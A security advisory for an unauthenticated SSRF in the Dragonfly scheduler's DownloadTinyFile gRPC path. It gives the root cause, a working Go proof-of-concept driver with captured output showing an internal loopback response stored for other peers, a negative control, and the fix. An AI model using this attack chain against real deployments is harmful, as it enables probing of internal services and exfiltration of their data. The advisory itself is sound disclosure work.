CVE-2026-54637

## Summary The Dragonfly **scheduler**'s v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls `Peer.DownloadTinyFile()` and issues an HTTP `GET` to a host and port taken verbatim from the attacker-controlled `PeerHost.Ip` / `PeerHost.DownPort` fields of the gRPC request body. The HTTP client uses a bare `http.Transport` with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including `127.0.0.1` (loopback), `169.254.0.0/16` (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in `Task.DirectPiece` and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path. The manager's preheat code path already wraps its HTTP client with `nethttp.NewSafeDialer()` (which rejects non-global-unicast destinations); the scheduler's `DownloadTinyFile` path is missing this guard (sibling gap). ## Severity Medium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to `TinyFileSize` (128) bytes per task from internal HTTP services into `Task.DirectPiece`. It is not remote code execution, and `PeerHost.DownPort` is constrained by proto validation to `>= 1024`, which excludes destination port 80. ## Affected component - Repository: `dragonflyoss/dragonfly` - Go module: `d7y.io/dragonfly/v2` - Component: scheduler, v1 gRPC protocol - Affected file: `scheduler/resource/standard/peer.go` (`DownloadTinyFile`), reached via `scheduler/service/service_v1.go` (`storeHost`, `RegisterPeerTask`, `ReportPeerResult`, `handlePeerSuccess`) - Verified against: latest release `v2.4.4-rc.2` (commit `0822e3aecc3369017d6b25c9441ff6f318129b31`) ## Description / Root cause The scheduler exposes the v1 gRPC service without authentication by default: - In [`scheduler/scheduler.go` lines 235-246](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246), mTLS is only configured when `cfg.Server.TLS != nil`; otherwise the server is created with `rpc.NewInsecureCredentials()`. - The default configuration produced by [`scheduler/config/config.go` `New()` (line 336)](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/config/config.go#L336-L355) does not set `Server.TLS`, so the default deployment uses insecure credentials. - The gRPC interceptor chain in [`pkg/rpc/scheduler/server/server.go` lines 71-86](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L86) contains ratelimit, error-conversion, prometheus, zap-logging, validator, and recovery interceptors, but **no authentication interceptor**. A remote client can therefore invoke `RegisterPeerTask` and `ReportPeerResult` without credentials. The `PeerHost` message carried in the request is consumed by [`storeHost` in `scheduler/service/service_v1.go` lines 816-845](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845), which copies `peerHost.Ip` and `peerHost.DownPort` directly into `resource.Host.IP` and `resource.Host.DownloadPort` with no destination-address restriction. The proto validator only requires `PeerHost.Ip` to be a syntactically valid IP (`net.ParseIP != nil`) and `DownPort` in `[1024, 65535)`; it does not restrict the address to global-unicast, so `127.0.0.1`, `169.254.169.254`, and RFC1918 addresses all pass validation. When the reported peer is a TINY task, [`handlePeerSuccess` lines 1176-1202](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202) calls `peer.DownloadTinyFile()` and stores the result in `peer.Task.DirectPiece`. The sink, [`DownloadTinyFile` lines 435-478](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478), builds the URL from `net.JoinHostPort(p.Host.IP, p.Host.DownloadPort)` and dispatches it through a bare `http.Transport` (`TLSClientConfig: InsecureSkipVerify: true`) with no `DialContext`/socket control: ```golang targetURL := url.URL{ Scheme: "http", Host: net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))), Path: fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID), RawQuery: fmt.Sprintf("peerId=%s", p.ID), } req, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil) if err != nil { return []byte{}, err } req.Header.Set(headers.Range, fmt.Sprintf("bytes=%d-%d", 0, p.Task.ContentLength.Load()-1)) p.Log.Infof("download tiny file %s, header is : %#v", targetURL.String(), req.Header) client := &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } resp, err := client.Do(req) ``` By contrast, the manager's preheat path in [`internal/job/image.go` line 211](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211) sets `DialContext: nethttp.NewSafeDialer().DialContext`, and [`safeSocketControl` in `pkg/net/http/http.go` lines 60-80](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L60-L80) rejects any destination where `!ip.IsGlobalUnicast()`. The scheduler `DownloadTinyFile` path is missing this protection. ## Proof of Concept / End-to-end verification All three drivers below were built **inside the `d7y.io/dragonfly/v2` module at commit `0822e3aecc3369017d6b25c9441ff6f318129b31` (release v2.4.4-rc.2)**, so they invoke the genuine, unmodified production sink `standard.Peer.DownloadTinyFile()` and the genuine `nethttp.NewSafeDialer()` / `safeSocketControl`. No reimplementation of the sink is used in the positive control. ### 1) Pinned build ```bash git clone --depth 1 --branch v2.4.4-rc.2 \ https://github.com/dragonflyoss/dragonfly.git cd dragonfly git rev-parse HEAD # 0822e3aecc3369017d6b25c9441ff6f318129b31 go version # go1.26.1 ``` ### 2) Confirming the deployed scheduler binary is unauthenticated by default The scheduler builds and serves the v1 gRPC service with insecure transport credentials when `Server.TLS` is unset (the shipped default). The relevant decision is at `scheduler/scheduler.go:235-246`: ```golang if cfg.Server.TLS != nil { // Initialize grpc server with tls. transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key) if err != nil { logger.Errorf("failed to create server credentials: %v", err) return nil, err } schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials)) } else { // Initialize grpc server without tls. schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials())) } ``` and the v1 handlers `RegisterPeerTask` / `ReportPeerResult` are registered with no auth interceptor (`pkg/rpc/scheduler/server/server.go:71-90`). Any network client can therefore drive the chain `RegisterPeerTask -> (TINY task) -> ReportPeerResult -> handlePeerSuccess -> DownloadTinyFile` using a `PeerHost` whose `Ip`/`DownPort` point at an internal target. ### 3) Attacker-supplied host (exactly as storeHost ingests it) `storeHost` (service_v1.go:816) constructs the resource host straight from the gRPC `PeerHost`: ```golang host := resource.NewHost( peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname, peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal, options..., ) // later branch: host.DownloadPort = peerHost.DownPort ``` `DownloadTinyFile` then uses `p.Host.IP` / `p.Host.DownloadPort` verbatim. The driver below sets these fields exactly as `storeHost` would for an attacker-supplied `PeerHost.Ip = 127.0.0.1`, `PeerHost.DownPort = <internal port>`, then calls the real `DownloadTinyFile()`. ### 4) Positive-control driver (`poc_ssrf/main.go`) — drives the real sink ```golang // E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile() // with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them // from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces // handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil. package main import ( "fmt" "net" "net/http" "os" "strconv" "strings" "time" commonv2 "d7y.io/api/v2/pkg/apis/common/v2" "d7y.io/dragonfly/v2/pkg/types" "d7y.io/dragonfly/v2/scheduler/resource/standard" ) func main() { var captured []string // Internal-only sentinel bound to loopback: an address an external attacker // cannot route to directly. If the scheduler reaches it, that is SSRF. ln, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { panic(err) } addr := ln.Addr().(*net.TCPAddr) sentinelIP := "127.0.0.1" sentinelPort := int32(addr.Port) payload := []byte("INTERNAL-SECRET-METADATA-abc123") // 31 bytes, <=128 => TINY srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { line := fmt.Sprintf("%s %s%s | Range=%q peerId=%q Host=%s", r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get("Range"), r.URL.Query().Get("peerId"), r.Host) captured = append(captured, line) w.Header().Set("Content-Length", strconv.Itoa(len(payload))) w.WriteHeader(http.StatusOK) w.Write(payload) })} go srv.Serve(ln) time.Sleep(100 * time.Millisecond) fmt.Printf("[sentinel] internal listener on %s:%d (loopback, not externally routable)\n", sentinelIP, sentinelPort) // Build REAL production resource objects exactly as storeHost() does: // host.IP <- peerHost.Ip ; host.DownloadPort <- peerHost.DownPort (attacker-controlled) host := standard.NewHost( "attacker-peer-id", sentinelIP, "attacker-host", "attacker-host", 8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002, types.HostTypeNormal, ) taskID := "deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe" task := standard.NewTask(taskID, "http://example.invalid/tiny", "", "", commonv2.TaskType_STANDARD, nil, nil, 0) task.ContentLength.Store(int64(len(payload))) // TINY size scope peer := standard.NewPeer("attacker-peer", task, host) fmt.Printf("[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\n", task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load()) fmt.Printf("[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\n", host.IP, host.DownloadPort) // Invoke the REAL production sink (unmodified upstream code). data, err := peer.DownloadTinyFile() if err != nil { fmt.Printf("[sink] DownloadTinyFile error: %v\n", err) } // Reproduce handlePeerSuccess DirectPiece store (exfil sink). if int64(len(data)) == task.ContentLength.Load() { task.DirectPiece = data } fmt.Printf("\n===== RESULT =====\n") fmt.Printf("sentinel captured %d request(s):\n", len(captured)) for _, l := range captured { fmt.Printf(" >>> %s\n", l) } fmt.Printf("DownloadTinyFile returned %d bytes: %q\n", len(data), string(data)) fmt.Printf("Task.DirectPiece (exfil-reachable, served to other peers) = %q\n", string(task.DirectPiece)) if len(captured) > 0 && string(task.DirectPiece) == string(payload) { fmt.Println("VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece") } else { fmt.Println("VERDICT: no server-side fetch occurred") } srv.Close() } func ifq(q string) string { if q == "" { return "" } if strings.HasPrefix(q, "?") { return q } return "?" + q } ``` Build and run: ```bash GOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/ POC_MODE=default-vulnerable-path ./poc_ssrf/driver ``` ### 5) Captured output (positive control) ``` [sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable) [scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31 [scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort) INFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{"Range":[]string{"bytes=0-30"}} ===== RESULT ===== sentinel captured 1 request(s): >>> GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range="bytes=0-30" peerId="attacker-peer" Host=127.0.0.1:57710 DownloadTinyFile returned 31 bytes: "INTERNAL-SECRET-METADATA-abc123" Task.DirectPiece (exfil-reachable, served to other peers) = "INTERNAL-SECRET-METADATA-abc123" VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece ``` The scheduler's own log line confirms it dispatched `GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer`, the internal sentinel captured the request verbatim, and the response body landed in `Task.DirectPiece` (which is served back to other peers via `Task.CanReuseDirectPiece`), demonstrating the exfiltration path. ### 6) Negative control (`poc_negctrl/main.go`) — the sibling SafeDialer rejects the same targets This driver applies the manager preheat's own `nethttp.NewSafeDialer().DialContext` to the identical targets, proving the guard the scheduler path is missing would block them: ```golang package main import ( "fmt" "net" "net/http" "time" nethttp "d7y.io/dragonfly/v2/pkg/net/http" ) func tryDial(target string) { tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport c := &http.Client{Transport: tr, Timeout: 3 * time.Second} req, _ := http.NewRequest(http.MethodGet, "http://"+target+"/download/x", nil) _, err := c.Do(req) if err != nil { fmt.Printf(" [SafeDialer] %-24s => BLOCKED: %v\n", target, err) } else { fmt.Printf(" [SafeDialer] %-24s => ALLOWED (reached)\n", target) } } func main() { ln, _ := net.Listen("tcp", "0.0.0.0:0") pubPort := ln.Addr().(*net.TCPAddr).Port go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) })) time.Sleep(100 * time.Millisecond) fmt.Println("Negative control - manager preheat's SafeDialer applied to same targets:") tryDial("127.0.0.1:" + fmt.Sprint(pubPort)) // loopback tryDial("169.254.169.254:80") // link-local metadata tryDial("10.0.0.1:80") // RFC1918 tryDial("8.8.8.8:80") // global unicast ln.Close() } ``` Output: ``` Negative control - manager preheat's SafeDialer applied to same targets: [SafeDialer] 127.0.0.1:57904 => BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid [SafeDialer] 169.254.169.254:80 => BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid [SafeDialer] 10.0.0.1:80 => BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918) [SafeDialer] 8.8.8.8:80 => BLOCKED: context deadline exceeded (network timeout; Control allows global unicast) ``` `safeSocketControl` rejects loopback (`127.0.0.1`) and link-local (`169.254.169.254`) at the socket-control layer with the errors `ip 127.0.0.1 is invalid` and `ip 169.254.169.254 is invalid` respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler `DownloadTinyFile` path reaches unchecked. ### 7) Patched-build E2E (`poc_patched/main.go`) — the fix blocks internal, preserves legitimate This driver reproduces `DownloadTinyFile`'s transport with the proposed fix (`DialContext: nethttp.NewSafeDialer().DialContext`, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works: ```golang client := &http.Client{ Timeout: 5 * time.Second, Transport: &http.Transport{ DialContext: nethttp.NewSafeDialer().DialContext, // <-- THE FIX TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } ``` Output: ``` [patched] host global-unicast IP for positive case: 192.168.1.27 === PATCHED DownloadTinyFile (SafeDialer applied) === loopback 127.0.0.1:58059 => err=Get "http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0 metadata 169.254.169.254:80 => err=Get "http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0 global-unicast 192.168.1.27:58062 => err=<nil> bytes=31 (data="INTERNAL-SECRET-METADATA-abc123") ``` After the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds. ## Impact A remote, unauthenticated attacker who can reach the scheduler's gRPC port can: 1. Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against `127.0.0.1`, `169.254.0.0/16`, and RFC1918 addresses on ports `>= 1024`. 2. Exfiltrate up to `TinyFileSize` (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in `Task.DirectPiece`, which is then served to other peers via the direct-piece reuse path. This is read-SSRF with limited exfiltration, not RCE. The `DownPort >= 1024` proto constraint excludes destination port 80 (so a metadata service listening on `:80` is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable. ## Patches / Remediation Apply the same protection the manager preheat path already uses. In `DownloadTinyFile` (`scheduler/resource/standard/peer.go`), set the transport's `DialContext` to `nethttp.NewSafeDialer().DialContext` so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer: ```golang client := &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ DialContext: nethttp.NewSafeDialer().DialContext, TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } ``` A defense-in-depth complement is to validate `peerHost.Ip` in `storeHost` (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of `Host.IP`. Note that `IsGlobalUnicast()` (as used by `safeSocketControl`) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix. ## References - Sink: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478 - Attacker-controlled host ingestion: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845 - Trigger (handlePeerSuccess): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202 - Default insecure credentials: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246 - gRPC interceptor chain (no auth): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90 - Sibling guard (manager preheat SafeDialer): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211 - SafeDialer / safeSocketControl: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80

Dragonfly scheduler v1 and v2 gRPC unauthenticated SSRF via attacker-controlled PeerHost in DownloadTinyFile in d7y.io/dragonfly